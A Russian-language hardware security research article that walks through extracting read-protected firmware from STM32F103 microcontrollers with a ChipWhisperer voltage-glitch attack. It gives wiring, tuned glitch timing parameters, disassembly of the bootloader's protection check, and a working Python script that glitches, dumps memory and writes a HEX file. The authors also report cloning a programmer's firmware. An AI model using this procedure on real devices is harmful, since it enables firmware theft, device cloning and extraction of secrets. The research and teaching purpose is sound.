В предыдущей статье мы разбирались с Vcc-glitch-атаками при помощи ChipWhisperer. Нашей дальнейшей целью стало поэтапное изучение процесса считывания защищенной прошивки микроконтроллеров. С помощью подобных атак злоумышленник может получить доступ ко всем паролям устройства и программным алгоритмам. Яркий пример – взлом аппаратного криптокошелька Ledger Nano S с платой МК STM32F042 при помощи Vcc-glitch-атак.
Интересно? Давайте смотреть под кат.
О возможности считывания защищенной прошивки мы узнали из статьи, в которой приведены результаты выполнения Vcc-glitch-атаки – обхода байта защиты RDP через масочный загрузчик (bootloader) для нескольких микроконтроллеров (далее – МК). Также рекомендуем к прочтению статью о взломе ESP32.
Теоретической базой исследования послужило руководство успешного считывания защищенной прошивки для LPC1114 через масочный загрузчик с использованием ChipWhisperer.
Так же, как и в первой статье, мы решили проводить эксперименты на плате МК STM32F103RBT6:
Плата STM32F103RBT6
Возможность записи данных в сектор флеш-памяти и RAM-памяти или их чтения, а также выполнения других действий с памятью МК определяется значением байта защиты (для STM32 – RDP). Для разных МК значения и назначение байтов защиты, а также алгоритм их проверки различается.
Аппаратная настройка
Приступим к проведению эксперимента. Для начала необходимо подключить ChipWhisperer к МК согласно рисунку:
Схема подключения ChipWhisperer к STM32 для считывания защищенной прошивки через масочный загрузчик
На схеме зачеркнуты элементы, которые следует удалить из платы STM32F103RBT6 (в отличие от стандартного подключения МК). Стрелками обозначены места подключения ChipWhisperer, а подписями – его пины.
Наличие внешнего кварца, представленного на схеме, не обязательно, поскольку при работе с масочным загрузчиком плата МК STM32F103RBT6 использует внутренний CLOCK с частотой 24 МГц, поэтому синхронизация между ChipWhisperer и МК отсутствует.
Перейдем к настройке ChipWhisperer. Как уже было отмечено выше, рекомендуемая частота работы ChipWhisperer – 24 МГц (или другое кратное значение). Чем выше кратность этой частоты, тем точнее можно настроить момент атаки. Из-за отсутствия синхронизации подбор параметра scope.glitch.offset необязателен, ему можно присвоить любое значение.
Параметры scope.glitch.repeat и scope.glitch.width необходимо подбирать в зависимости от установленной частоты ChipWhisperer. При большом значении частоты все кратковременные импульсы, количество которых устанавливается при помощи scope.glitch.repeat, сливаются в один длительный импульс. Поэтому можно подбирать значение параметра scope.glitch.width, а scope.glitch.repeat зафиксировать, либо наоборот. Мы обнаружили, что оптимальная длительность импульса должна составлять около 80 нс (определяется как ширина импульса на его полувысоте).
Осталось подобрать значение параметра scope.glitch.ext_offset.
Подбор scope.glitch.ext_offset
Сначала необходимо выбрать момент атаки. Согласно схеме, представленной в документе компании STM, проверка значения байта защиты выполняется после получения запроса на чтение данных сектора флеш-памяти:
Алгоритм ответа на запрос о чтении данных сектора флеш-памяти
Чтобы удостовериться в верности такой схемы проверки, мы считали исполняемый код загрузчика подобного МК без защиты RDP через ST-Link. На рисунках ниже показаны части алгоритма обработки команды Read Memory command.
Общий вид обработки команды чтения памяти (хорошо видны вызов функции проверки RDP и посылка NACK в случае неудачной проверки)
Тело функции проверки RDP
Обратим внимание на тело функции проверки RDP: видно, что происходит чтение регистра по адресу 0x40022000 + 0x1C
, логический сдвиг на 30 разрядов и ветвление. Из документации PM0075 Programming manual (STM32F10xxx Flash memory microcontrollers) становится понятно, что 0x40022000
– это базовый адрес контроллера flash memory, а 0x1C
– это смещение регистра FLASH_OBR, в котором нас интересует второй бит RDPRT: Read protection, в котором содержится статус защиты RDP.
Необходимый момент проведения атаки – отработка инструкции LDR
(загрузки из памяти). Эта инструкция располагается между запросом на чтение прошивки (отправление байта 0x11
с контрольной суммой 0xEE
) и ответом ACK
/NOACK
МК по UART. Для того чтобы визуально зафиксировать этот момент, необходимо подключить осциллограф к UART1_RX (пин PA10) и UART1_TX (пин PA9), а затем отслеживать изменение напряжения по UART1. В результате осциллограмма атаки по питанию с подобранным значением scope.glitch.ext_offset должна выглядеть примерно так:
Выбор момента проведения атаки
Скрипт считывания прошивки
Теперь необходимо указать момент срабатывания триггера CW_TRIG в коде Python с целью перехвата момента передачи контрольной суммы по UART1_RX. У ChipWhisperer есть библиотека для общения с масочным загрузчиком МК STM32. В штатном режиме эта библиотека используется для загрузки на МК прошивок из руководств при помощи класса class STM32FSerial(object)
, расположенного в файле programmer_stm32fserial.py
по пути software/chipwhisperer/hardware/naeusb/
. Для активации срабатывания триггера необходимо скопировать этот класс в главный исполняемый скрипт, чтобы метод класса CmdGeneric(self, cmd)
стал глобально доступным, и добавить команду scope.arm()
до передачи контрольной суммы (0xEE) запроса на считывание сектора памяти. Итоговый класс приведен в спойлере ниже.
import time
import sys
import logging
from chipwhisperer.common.utils import util
from chipwhisperer.hardware.naeusb.programmer_stm32fserial import supported_stm32f
from chipwhisperer.capture.api.programmers import Programmer
# class which can normally using internal CW library for reading STM32 firmware by UART
class STM32Reader(Programmer):
def __init__(self):
super(STM32Reader, self).__init__()
self.supported_chips = supported_stm32f
self.slow_speed = False
self.small_blocks = True
self.stm = None
def stm32prog(self):
if self.stm is None:
stm = self.scope.scopetype.dev.serialstm32f
else:
stm = self.stm
stm.slow_speed = self.slow_speed
stm.small_blocks = self.small_blocks
return stm
def stm32open(self):
stm32f = self.stm32prog()
stm32f.open_port()
def stm32find(self):
stm32f = self.stm32prog()
stm32f.scope = self.scope
sig, chip = stm32f.find()
def stm32readMem(self, addr, lng):
stm32f = self.stm32prog()
stm32f.scope = self.scope
#answer = stm32f.readMemory(addr, lng)
answer = self.ReadMemory(addr, lng)
return answer
def stm32GetID(self):
stm32f = self.stm32prog()
stm32f.scope = self.scope
answer = stm32f.cmdGetID()
return answer
# Needed for connection to STM after reload by reset_target(scope) method
def FindSTM(self):
#setup serial port (or CW-serial port?)
stm32f = self.stm32prog()
try:
stm32f.initChip()
except IOError:
print("Failed to detect chip. Check following: ")
print(" 1. Connections and device power. ")
print(" 2. Device has valid clock (or remove clock entirely for internal osc).")
print(" 3. On Rev -02 CW308T-STM32Fx boards, BOOT0 is routed to PDIC.")
raise
boot_version = stm32f.cmdGet()
chip_id = stm32f.cmdGetID()
for t in supported_stm32f:
if chip_id == t.signature:
# print("Detected known STMF32: %s" % t.name)
stm32f.setChip(t)
return chip_id, t
# print("Detected unknown STM32F ID: 0x%03x" % chip_id)
return chip_id, None
Следует обратить внимание на то, что масочный загрузчик STM32F1хх позволяет считывать за один запрос не более 256 байт прошивки из указанного сектора флеш-памяти. Поэтому при считывании всей прошивки МК необходимо в ходе Vcc-glitch-атаки выполнить несколько запросов на чтение. Затем полученные 256 байт следует разбить на восемь 32-байтных массивов и сформировать из них файл формата HEX.
def int2str_0xFF(int_number, number_of_bytes):
return '{0:0{1}X}'.format(int_number,number_of_bytes_in_string)
def data_dividing_from_256_to_32_bytes (data_to_divide, mem_sector, mem_step=32):
if mem_sector > 0xFFFF:
mem_conversion = mem_sector >> 16
mem_conversion = mem_sector - (mem_conversion << 16)
data_out = ''
for i in range(int(256/mem_step)):
data_vector = data_to_divide[(i * mem_step):((i + 1) * mem_step)]
mem_calc = mem_conversion + (i * mem_step)
data_out += read_and_convert_data_hex_file(data_vector, mem_calc, mem_step) + 'n'
return data_out
def read_and_convert_data_hex_file(data_to_convert, memory_address, mem_step):
addr_string = memory_address -((memory_address >> 20) << 20)
data_buffer = ''
crcacc = 0
for x in range(0, len(data_to_convert)):
data_buffer += int2str_0xFF(data_to_convert[x], 2)
crcacc += data_to_convert[x]
crcacc += mem_step
temp_addr_string = addr_string
for i in range (4, -1, -2):
crcacc += temp_addr_string >> i*4
temp_addr_string -= ((temp_addr_string >> i*4) << i*4)
crcacc_2nd_symbol = (crcacc >> 8) + 1
crcacc = (crcacc_2nd_symbol << 8) - crcacc
if crcacc == 0x100:
crcacc = 0
RECTYP = 0x00
out_string = ':'+ Int_To_Hex_String(mem_step, 2) +
Int_To_Hex_String((addr_string),4) +
Int_To_Hex_String(RECTYP, 2) +
data_buffer +
Int_To_Hex_String(crcacc, 2)
return out_string
def send_to_file(info_to_output, File_name, directory):
file = open(directory + File_name + '.hex', 'w')
file.write(info_to_output)
file.close()
def reset_target(scope):
scope.io.nrst = 'low'
time.sleep(0.05)
scope.io.nrst = 'high'
from collections import namedtuple
Range = namedtuple('Range', ['min', 'max', 'step'])
Настройка параметров ChipWhisperer завершена. Итоговый скрипт на считывание прошивки выглядит следующим образом:
# string of start HEX file
Start_of_File_Record = ':020000040800F2'
# string of end HEX file
End_of_File_Record = ':00000001FF'
length_of_sector = 256
if length_of_sector % 4 != 0:
sys.exit('length_of_sector must be equal to 4')
output_to_file_buffer = ''
output_to_file_buffer += Start_of_File_Record + 'n'
mem_current = mem_start
while mem_current < mem_stop:
# flush the garbage from the computer's target read buffer
target.ser.flush()
# run aux stuff that should run before the scope arms here
reset_target(scope)
# initialize STM32 after each reset
prog.FindSTM()
try:
# reading of closed memory sector
data = prog.stm32readMem(mem_current, length_of_sector)
except Exception as message:
message = str(message)
if "Can't read port" in message:
# print('Port silence')
pass
elif 'Unknown response. 0x11: 0x0' in message:
# print('Crashed. Reload!')
pass
elif 'NACK 0x11' in message:
# print('Firmware is closed!')
pass
else:
# print('Unknown error:', message, scope.glitch.offset, scope.glitch.width, scope.glitch.ext_offset)
pass
else:
data_to_out = data_dividing_from_256_to_32_bytes (data, mem_current)
print(data_to_out)
output_to_file_buffer += data_to_out
mem_current += length_of_sector
output_to_file_buffer += End_of_File_Record + 'n'
send_to_file(output_to_file_buffer, File_name, directory)
Все закомментированные сообщения print()
после строчки except Exception as
помогают отслеживать состояние МК при поиске оптимальных параметров glitch-импульса. Для отслеживания конкретного состояния МК достаточно раскомментировать необходимое сообщение print()
.
Результаты считывания
На видео продемонстрирована загрузка прошивки на МК через программатор ST-LINK, перевод RDP в состояние защиты и последующее считывание прошивки:
Успешному проведению Vcc-glitch-атаки могут помешать следующие ошибки:
• считывание неверного сектора памяти;
• самопроизвольное удаление прошивки.
Избежать подобных ошибок поможет точный выбор момента атаки путем увеличения частоты работы ChipWhisperer.
После разработки и отладки алгоритма считывания защищенной прошивки мы провели тестовое считывание прошивки программатора ST-LINK-V2.1, который работает на МК STM32F103CBT6. Считанную прошивку мы зашили на «чистый» МК STM32F103CBT6 и установили его вместо заводского. В результате ST-LINK-V2.1 с замененным МК работал в нормальном режиме, будто подмены не было.
Также мы попробовали провести серию атак на STM32F303RCT7. Этот МК в ходе атаки вел себя идентично STM32F103RBT6, но ответ на запрос чтения памяти содержал байт, равный 0х00, что не совпадало с ожидаемым нами результатом. Причина такой неудачи заключалась в более сложном и развитом принципе организации защиты этих МК.
В МК STM32F1xx существует два состояния защиты: защита выключена (Level 0) и включена (Level 1). В старших моделях предусмотрено три состояния защиты: защита отключена (Level 0, RDP = 0x55AA), защита флеш- и SRAM-памяти (Level 2, RDP = 0x33CC) и защита только флеш-памяти (Level 1, RDP принимает любые значения, отличные от 0x55AA и 0x33CC). Поскольку Level 1 может принимать множество значений RDP, установить Level 0 достаточно тяжело. С другой стороны, существует возможность понижения уровня защиты с Level 2 на Level 1 сбиванием одного бита в байте RDP (показано на рисунке ниже), что открывает доступ к SRAM-памяти.
Сравнение значений RDP для разных уровней защиты прошивки
Остается только понять, как этим может воспользоваться злоумышленник. Например, с помощью метода CBS (Cold-Boot Stepping), описанного в этой статье. Этот метод основан на поэтапном снимке состояния SRAM-памяти (периодичность выполнения каждого снимка была в районе микросекунды) после загрузки МК с целью получения ключей шифрования, скрытых паролей или любой другой ценной информации. Авторы предполагают, что метод CBS сработает на всех сериях МК STM32.
Выводы
Подведем итоги наших экспериментов. Выполнение Vcc-glitch-атаки с использованием данных, полученных в результате предыдущего исследования (о котором можно прочитать здесь), заняло у нас несколько дней. А значит, научиться проводить подобные атаки достаточно легко.
Vcc-glitch-атаки опасны тем, что от них сложно защититься. Для уменьшения вероятности успешного проведения подобных атак предлагается использовать МК с более высоким уровнем защиты.
Raccoon Security – специальная команда экспертов НТЦ «Вулкан» в области практической информационной безопасности, криптографии, схемотехники, обратной разработки и создания низкоуровневого программного обеспечения.
Автор: RaccoonSecurity